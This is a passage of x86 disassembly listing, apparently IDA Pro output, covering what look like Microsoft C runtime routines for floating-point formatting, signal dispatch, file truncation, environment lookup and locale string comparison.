mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_41522A
mov byte ptr [ebx+2], 2Dh
jmp short loc_41522E
; ---------------------------------------------------------------------------
loc_41522A: ; CODE XREF: sub_4151C8+5Aj
mov byte ptr [ebx+2], 20h
loc_41522E: ; CODE XREF: sub_4151C8+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_415254
test edi, edi
jnz short loc_415254
cmp [ebp+arg_0], edi
jnz short loc_415254
loc_41523F: ; CODE XREF: sub_4151C8+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_415452
; ---------------------------------------------------------------------------
loc_415254: ; CODE XREF: sub_4151C8+6Cj
; sub_4151C8+70j ...
cmp dx, si
jnz short loc_4152D3
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_41526D
cmp [ebp+arg_0], 0
jz short loc_41527C
loc_41526D: ; CODE XREF: sub_4151C8+9Dj
test edi, 40000000h
jnz short loc_41527C
push offset a1Snan ; "1#SNAN"
jmp short loc_4152C2
; ---------------------------------------------------------------------------
loc_41527C: ; CODE XREF: sub_4151C8+A3j
; sub_4151C8+ABj
test cx, cx
jz short loc_415296
cmp edi, 0C0000000h
jnz short loc_415296
cmp [ebp+arg_0], 0
jnz short loc_4152BD
push offset a1Ind ; "1#IND"
jmp short loc_4152A5
; ---------------------------------------------------------------------------
loc_415296: ; CODE XREF: sub_4151C8+B7j
; sub_4151C8+BFj
cmp edi, eax
jnz short loc_4152BD
cmp [ebp+arg_0], 0
jnz short loc_4152BD
push offset a1Inf ; "1#INF"
loc_4152A5: ; CODE XREF: sub_4151C8+CCj
lea eax, [ebx+4]
push eax
call sub_40CD70
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_4152B4: ; CODE XREF: sub_4151C8+109j
and [ebp+var_4], 0
jmp loc_41542B
; ---------------------------------------------------------------------------
loc_4152BD: ; CODE XREF: sub_4151C8+C5j
; sub_4151C8+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_4152C2: ; CODE XREF: sub_4151C8+B2j
lea eax, [ebx+4]
push eax
call sub_40CD70
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_4152B4
; ---------------------------------------------------------------------------
loc_4152D3: ; CODE XREF: sub_4151C8+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_4159B0
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_415334
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_415790
pop ecx
pop ecx
loc_415334: ; CODE XREF: sub_4151C8+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_41534E
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_415351
jmp loc_41523F
; ---------------------------------------------------------------------------
loc_41534E: ; CODE XREF: sub_4151C8+173j
mov edi, [ebp+arg_C]
loc_415351: ; CODE XREF: sub_4151C8+17Fj
cmp edi, 15h
jle short loc_415359
push 15h
pop edi
loc_415359: ; CODE XREF: sub_4151C8+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_41536F: ; CODE XREF: sub_4151C8+1B4j
lea eax, [ebp+var_10]
push eax
call sub_414BD5
dec [ebp+arg_14]
pop ecx
jnz short loc_41536F
test esi, esi
jge short loc_415399
neg esi
and esi, 0FFh
jle short loc_415399
loc_41538C: ; CODE XREF: sub_4151C8+1CFj
lea eax, [ebp+var_10]
push eax
call sub_414C03
dec esi
pop ecx
jnz short loc_41538C
loc_415399: ; CODE XREF: sub_4151C8+1B8j
; sub_4151C8+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_4153F6
mov [ebp+arg_C], ecx
loc_4153A9: ; CODE XREF: sub_4151C8+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_414BD5
lea eax, [ebp+var_10]
push eax
call sub_414BD5
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_414B77
lea eax, [ebp+var_10]
push eax
call sub_414BD5
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_4153A9
mov eax, [ebp+arg_14]
loc_4153F6: ; CODE XREF: sub_4151C8+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_415433
loc_415403: ; CODE XREF: sub_4151C8+248j
cmp eax, ecx
jb short loc_415416
cmp byte ptr [eax], 39h
jnz short loc_415412
mov byte ptr [eax], 30h
dec eax
jmp short loc_415403
; ---------------------------------------------------------------------------
loc_415412: ; CODE XREF: sub_4151C8+242j
cmp eax, ecx
jnb short loc_41541A
loc_415416: ; CODE XREF: sub_4151C8+23Dj
inc eax
inc word ptr [ebx]
loc_41541A: ; CODE XREF: sub_4151C8+24Cj
inc byte ptr [eax]
loc_41541C: ; CODE XREF: sub_4151C8+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_41542B: ; CODE XREF: sub_4151C8+F0j
mov eax, [ebp+var_4]
loc_41542E: ; CODE XREF: sub_4151C8+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_415433: ; CODE XREF: sub_4151C8+239j
; sub_4151C8+275j
cmp eax, ecx
jb short loc_415443
cmp byte ptr [eax], 30h
jnz short loc_41543F
dec eax
jmp short loc_415433
; ---------------------------------------------------------------------------
loc_41543F: ; CODE XREF: sub_4151C8+272j
cmp eax, ecx
jnb short loc_41541C
loc_415443: ; CODE XREF: sub_4151C8+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_415452: ; CODE XREF: sub_4151C8+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_41542E
sub_4151C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41545B proc near ; CODE XREF: sub_4113CC+2A2Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_4154C2
dec eax
dec eax
jz short loc_4154B3
sub eax, 4
jz short loc_4154B3
sub eax, 3
jz short loc_4154B3
sub eax, 4
jz short loc_4154A6
sub eax, 6
jz short loc_415499
dec eax
jz short loc_41548C
or eax, 0FFFFFFFFh
jmp loc_415584
; ---------------------------------------------------------------------------
loc_41548C: ; CODE XREF: sub_41545B+27j
mov esi, dword_47FBF0
mov eax, offset dword_47FBF0
jmp short loc_4154CD
; ---------------------------------------------------------------------------
loc_415499: ; CODE XREF: sub_41545B+24j
mov esi, dword_47FBEC
mov eax, offset dword_47FBEC
jmp short loc_4154CD
; ---------------------------------------------------------------------------
loc_4154A6: ; CODE XREF: sub_41545B+1Fj
mov esi, dword_47FBF4
mov eax, offset dword_47FBF4
jmp short loc_4154CD
; ---------------------------------------------------------------------------
loc_4154B3: ; CODE XREF: sub_41545B+10j
; sub_41545B+15j ...
push edi
call sub_415588
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_4154CD
; ---------------------------------------------------------------------------
loc_4154C2: ; CODE XREF: sub_41545B+Cj
mov esi, dword_47FBE8
mov eax, offset dword_47FBE8
loc_4154CD: ; CODE XREF: sub_41545B+3Cj
; sub_41545B+49j ...
cmp esi, 1
jnz short loc_4154D9
xor eax, eax
jmp loc_415584
; ---------------------------------------------------------------------------
loc_4154D9: ; CODE XREF: sub_41545B+75j
test esi, esi
jnz short loc_4154E4
push 3
call sub_40D156
loc_4154E4: ; CODE XREF: sub_41545B+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_4154F6
cmp edi, 0Bh
jz short loc_4154F6
cmp edi, 4
jnz short loc_41551C
loc_4154F6: ; CODE XREF: sub_41545B+8Fj
; sub_41545B+94j
mov ebx, dword_47F9C8
and dword_47F9C8, 0
cmp edi, ecx
jnz short loc_41554B
mov edx, dword_420274
mov dword_420274, 8Ch
mov [ebp+arg_0], edx
jmp short loc_41551F
; ---------------------------------------------------------------------------
loc_41551C: ; CODE XREF: sub_41545B+99j
mov ebx, [ebp+arg_0]
loc_41551F: ; CODE XREF: sub_41545B+BFj
cmp edi, ecx
jnz short loc_41554B
mov eax, dword_420268
mov ecx, dword_42026C
add ecx, eax
cmp eax, ecx
jge short loc_415552
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:4201F8h[edx*4]
loc_415540: ; CODE XREF: sub_41545B+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_415540
jmp short loc_415552
; ---------------------------------------------------------------------------
loc_41554B: ; CODE XREF: sub_41545B+AAj
; sub_41545B+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_415560
loc_415552: ; CODE XREF: sub_41545B+D7j
; sub_41545B+EEj
push dword_420274
push 8
call esi
pop ecx
pop ecx
jmp short loc_41556E
; ---------------------------------------------------------------------------
loc_415560: ; CODE XREF: sub_41545B+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_41556E
cmp edi, 4
jnz short loc_415581
loc_41556E: ; CODE XREF: sub_41545B+103j
; sub_41545B+10Cj
cmp edi, 8
mov dword_47F9C8, ebx
jnz short loc_415581
mov eax, [ebp+arg_0]
mov dword_420274, eax
loc_415581: ; CODE XREF: sub_41545B+111j
; sub_41545B+11Cj
xor eax, eax
pop ebx
loc_415584: ; CODE XREF: sub_41545B+2Cj
; sub_41545B+79j
pop edi
pop esi
pop ebp
retn
sub_41545B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_415588 proc near ; CODE XREF: sub_41545B+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_420270
cmp dword_4201F4, edx
push esi
mov eax, offset dword_4201F0
jz short loc_4155B6
lea esi, [ecx+ecx*2]
lea esi, ds:4201F0h[esi*4]
loc_4155AA: ; CODE XREF: sub_415588+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_4155B6
cmp [eax+4], edx
jnz short loc_4155AA
loc_4155B6: ; CODE XREF: sub_415588+16j
; sub_415588+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:4201F0h[ecx*4]
cmp eax, ecx
jnb short loc_4155CA
cmp [eax+4], edx
jz short locret_4155CC
loc_4155CA: ; CODE XREF: sub_415588+3Bj
xor eax, eax
locret_4155CC: ; CODE XREF: sub_415588+40j
retn
sub_415588 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155CD proc near ; CODE XREF: sub_41416A+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_40B690
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_480D40
jnb loc_415702
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_480C40[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_415702
push 1
push esi
push ebx
call sub_412573
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_41570C
push 2
push esi
push ebx
call sub_412573
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_41570C
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_4156AF
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_40B630
push 8000h
push ebx
call sub_415A2C
add esp, 14h
mov [ebp+arg_4], eax
loc_415663: ; CODE XREF: sub_4155CD+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_41566E
mov eax, edi
loc_41566E: ; CODE XREF: sub_4155CD+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_413190
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41568C
sub edi, eax
test edi, edi
jle short loc_4156A2
jmp short loc_415663
; ---------------------------------------------------------------------------
loc_41568C: ; CODE XREF: sub_4155CD+B5j
cmp dword_47F918, 5
jnz short loc_41569F
mov dword_47F914, 0Dh
loc_41569F: ; CODE XREF: sub_4155CD+C6j
or esi, 0FFFFFFFFh
loc_4156A2: ; CODE XREF: sub_4155CD+BBj
push [ebp+arg_4]
push ebx
call sub_415A2C
pop ecx
pop ecx
jmp short loc_4156EF
; ---------------------------------------------------------------------------
loc_4156AF: ; CODE XREF: sub_4155CD+71j
jge short loc_4156EF
push 0
push [ebp+arg_4]
push ebx
call sub_412573
push ebx
call sub_4140D6
add esp, 10h
push eax
call dword_417010 ; SetEndOfFile
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_4156EF
mov dword_47F914, 0Dh
call dword_417044 ; RtlGetLastWin32Error
mov dword_47F918, eax
loc_4156EF: ; CODE XREF: sub_4155CD+E0j
; sub_4155CD:loc_4156AFj ...
push 0
push [ebp+arg_0]
push ebx
call sub_412573
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_41570F
; ---------------------------------------------------------------------------
loc_415702: ; CODE XREF: sub_4155CD+1Aj
; sub_4155CD+36j
mov dword_47F914, 9
loc_41570C: ; CODE XREF: sub_4155CD+4Ej
; sub_4155CD+63j
or eax, 0FFFFFFFFh
loc_41570F: ; CODE XREF: sub_4155CD+133j
pop esi
pop ebx
leave
retn
sub_4155CD endp
; =============== S U B R O U T I N E =======================================
sub_415713 proc near ; CODE XREF: sub_414438+23p
arg_0 = dword ptr 4
cmp dword_480F90, 0
push ebx
push esi
mov esi, dword_47F93C
push edi
jz short loc_41578A
test esi, esi
jnz short loc_415744
cmp dword_47F944, esi
jz short loc_41578A
call sub_415AE1
test eax, eax
jnz short loc_41578A
mov esi, dword_47F93C
test esi, esi
jz short loc_41578A
loc_415744: ; CODE XREF: sub_415713+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_41578A
push ebx
call sub_40B5B0
pop ecx
mov edi, eax
loc_415755: ; CODE XREF: sub_415713+6Dj
mov eax, [esi]
test eax, eax
jz short loc_41578A
push eax
call sub_40B5B0
cmp eax, edi
pop ecx
jbe short loc_41577D
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_41577D
push edi
push ebx
push eax
call sub_415AA2
add esp, 0Ch
test eax, eax
jz short loc_415782
loc_41577D: ; CODE XREF: sub_415713+51j
; sub_415713+59j
add esi, 4
jmp short loc_415755
; ---------------------------------------------------------------------------
loc_415782: ; CODE XREF: sub_415713+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_41578C
; ---------------------------------------------------------------------------
loc_41578A: ; CODE XREF: sub_415713+10j
; sub_415713+1Cj ...
xor eax, eax
loc_41578C: ; CODE XREF: sub_415713+75j
pop edi
pop esi
pop ebx
retn
sub_415713 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415790 proc near ; CODE XREF: sub_4151C8+165p
; sub_4159B0+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_415990
cmp cx, 7FFFh
jnb loc_415990
cmp dx, 0BFFDh
ja loc_415990
cmp dx, 3FBFh
ja short loc_4157F9
xor eax, eax
jmp short loc_415833
; ---------------------------------------------------------------------------
loc_4157F9: ; CODE XREF: sub_415790+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_41581B
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_41581B
xor eax, eax
cmp [esi+4], eax
jnz short loc_41581D
cmp [esi], eax
jnz short loc_41581D
jmp loc_41598A
; ---------------------------------------------------------------------------
loc_41581B: ; CODE XREF: sub_415790+71j
; sub_415790+79j
xor eax, eax
loc_41581D: ; CODE XREF: sub_415790+80j
; sub_415790+84j
cmp cx, ax
jnz short loc_415840
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_415840
cmp [ebx+4], eax
jnz short loc_415840
cmp [ebx], eax
jnz short loc_415840
loc_415833: ; CODE XREF: sub_415790+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_4159AB
; ---------------------------------------------------------------------------
loc_415840: ; CODE XREF: sub_415790+90j
; sub_415790+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_415850: ; CODE XREF: sub_415790+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_4158A4
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_41586C: ; CODE XREF: sub_415790+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_414B56
add esp, 0Ch
test eax, eax
jz short loc_415897
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_415897: ; CODE XREF: sub_415790+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_41586C
loc_4158A4: ; CODE XREF: sub_415790+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_415850
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_4158E7
loc_4158C2: ; CODE XREF: sub_415790+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_4158E0
lea eax, [ebp+var_24]
push eax
call sub_414BD5
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_4158C2
loc_4158E0: ; CODE XREF: sub_415790+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_415920
loc_4158E7: ; CODE XREF: sub_415790+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_415920
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_415900: ; CODE XREF: sub_415790+184j
test byte ptr [ebp+var_24], 1
jz short loc_415909
inc [ebp+var_14]
loc_415909: ; CODE XREF: sub_415790+174j
lea eax, [ebp+var_24]
push eax
call sub_414C03
dec ebx
pop ecx
jnz short loc_415900
cmp [ebp+var_14], 0
jz short loc_415920
or byte ptr [ebp+var_24], 1
loc_415920: ; CODE XREF: sub_415790+155j
; sub_415790+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_415937
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_41596C
loc_415937: ; CODE XREF: sub_415790+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_415969
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_415964
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_41595E
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_41596C
; ---------------------------------------------------------------------------
loc_41595E: ; CODE XREF: sub_415790+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_41596C
; ---------------------------------------------------------------------------
loc_415964: ; CODE XREF: sub_415790+1B5j
inc [ebp+var_20+2]
jmp short loc_41596C
; ---------------------------------------------------------------------------
loc_415969: ; CODE XREF: sub_415790+1ABj
inc [ebp+var_24+2]
loc_41596C: ; CODE XREF: sub_415790+1A5j
; sub_415790+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_415990
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_41598A: ; CODE XREF: sub_415790+86j
mov [esi+0Ah], ax
jmp short loc_4159AB
; ---------------------------------------------------------------------------
loc_415990: ; CODE XREF: sub_415790+42j
; sub_415790+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_4159AB: ; CODE XREF: sub_415790+ABj
; sub_415790+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_415790 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4159B0 proc near ; CODE XREF: sub_414CF7+440p
; sub_4151C8+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_4206E8
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_415A29
jge short loc_4159D8
mov eax, [ebp+arg_4]
mov ebx, offset dword_420848
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_4159D8: ; CODE XREF: sub_4159B0+16j
cmp [ebp+arg_8], ecx
jnz short loc_4159E3
mov eax, [ebp+arg_0]
mov [eax], cx
loc_4159E3: ; CODE XREF: sub_4159B0+2Bj
cmp [ebp+arg_4], ecx
jz short loc_415A29
push esi
push edi
loc_4159EA: ; CODE XREF: sub_4159B0+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_415A22
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_415A15
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_415A15: ; CODE XREF: sub_4159B0+57j
push esi
push [ebp+arg_0]
call sub_415790
pop ecx
pop ecx
xor ecx, ecx
loc_415A22: ; CODE XREF: sub_4159B0+49j
cmp [ebp+arg_4], ecx
jnz short loc_4159EA
pop edi
pop esi
loc_415A29: ; CODE XREF: sub_4159B0+14j
; sub_4159B0+36j
pop ebx
leave
retn
sub_4159B0 endp
; =============== S U B R O U T I N E =======================================
sub_415A2C proc near ; CODE XREF: sub_4155CD+8Bp
; sub_4155CD+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_480D40
jnb short loc_415A93
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_480C40[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_415A93
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_415A6C
and cl, 7Fh
jmp short loc_415A79
; ---------------------------------------------------------------------------
loc_415A6C: ; CODE XREF: sub_415A2C+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_415A87
or cl, 80h
loc_415A79: ; CODE XREF: sub_415A2C+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_415A87: ; CODE XREF: sub_415A2C+48j
mov dword_47F914, 16h
jmp short loc_415A9D
; ---------------------------------------------------------------------------
loc_415A93: ; CODE XREF: sub_415A2C+Bj
; sub_415A2C+27j
mov dword_47F914, 9
loc_415A9D: ; CODE XREF: sub_415A2C+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_415A2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415AA2 proc near ; CODE XREF: sub_415713+5Ep
; sub_415F7E+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_415AAF
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_415AAF: ; CODE XREF: sub_415AA2+7j
push dword_480D44
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_480F64
call sub_415B4F
add esp, 1Ch
test eax, eax
jnz short loc_415ADC
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_415ADC: ; CODE XREF: sub_415AA2+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_415AA2 endp
; =============== S U B R O U T I N E =======================================
sub_415AE1 proc near ; CODE XREF: sub_415713+1Ep
; sub_415DF7+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_47F944
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_415B42
mov ebx, dword_4170C0
loc_415AFA: ; CODE XREF: sub_415AE1+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; WideCharToMultiByte
mov ebp, eax
cmp ebp, edi
jz short loc_415B4A
push ebp
call sub_40B6BF
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_415B4A
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; WideCharToMultiByte
test eax, eax
jz short loc_415B4A
push edi
push [esp+18h+var_4]
call sub_415DF7
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_415AFA
loc_415B42: ; CODE XREF: sub_415AE1+11j
xor eax, eax
loc_415B44: ; CODE XREF: sub_415AE1+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_415B4A: ; CODE XREF: sub_415AE1+29j
; sub_415AE1+38j ...
or eax, 0FFFFFFFFh
jmp short loc_415B44
sub_415AE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415B4F proc near ; CODE XREF: sub_415AA2+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417C10
push offset sub_412F2C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_47FC00, ebx
push 1
pop edi
jnz short loc_415BC2
push edi
mov eax, offset dword_417860
push eax
push edi
push eax
push ebx
push ebx
call dword_417008 ; CompareStringW
test eax, eax
jz short loc_415B9F
mov dword_47FC00, edi
jmp short loc_415BC2
; ---------------------------------------------------------------------------
loc_415B9F: ; CODE XREF: sub_415B4F+46j
push edi
mov eax, offset dword_42226C
push eax
push edi
push eax
push ebx
push ebx
call dword_41700C ; CompareStringA
test eax, eax
jz loc_415DB8
mov dword_47FC00, 2
loc_415BC2: ; CODE XREF: sub_415B4F+31j
; sub_415B4F+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_415BD9
push esi
push [ebp+arg_8]
call sub_415DCC
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_415BD9: ; CODE XREF: sub_415B4F+78j
cmp [ebp+arg_14], ebx
jle short loc_415BEE
push [ebp+arg_14]
push [ebp+arg_10]
call sub_415DCC
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_415BEE: ; CODE XREF: sub_415B4F+8Dj
mov eax, dword_47FC00
cmp eax, 2
jnz short loc_415C13
push [ebp+arg_14]
push [ebp+arg_10]
push esi
